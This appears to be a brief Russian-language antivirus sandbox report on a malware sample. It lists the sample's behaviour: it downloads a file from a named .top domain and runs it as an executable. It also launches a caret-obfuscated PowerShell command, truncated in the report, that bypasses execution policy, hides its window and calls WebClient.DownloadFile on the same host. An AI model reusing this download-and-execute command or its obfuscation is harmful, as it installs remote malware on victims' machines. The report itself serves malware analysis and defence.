Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^oW^ERs^hElL^.^e^xe^ ^-eX^ECUtioNPoLICy^ ^By^paS^S^ -nOpr^o^F^IlE^ -W^I^N^DoWsT^yl^e^ hIDd^EN ^(n^e^W-^O^BJ^Ect S^YStE^M.^NE^T.W^ebcli^eNt).DoW^N^LO^A^d^fI^lE^('http://www.door...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^oW^ERs^hElL^.^e^xe^ ^-eX^ECUtioNPoLICy^ ^By^paS^S^ -nOpr^o^F^IlE^ -W^I^N^DoWsT^yl^e^ hIDd^EN ^(n^e^W-^O^BJ^Ect S^YStE^M.^NE^T.W^ebcli^eNt).DoW^N^LO^A^d^fI^lE^('http://www.door...' (со скрытым окном)
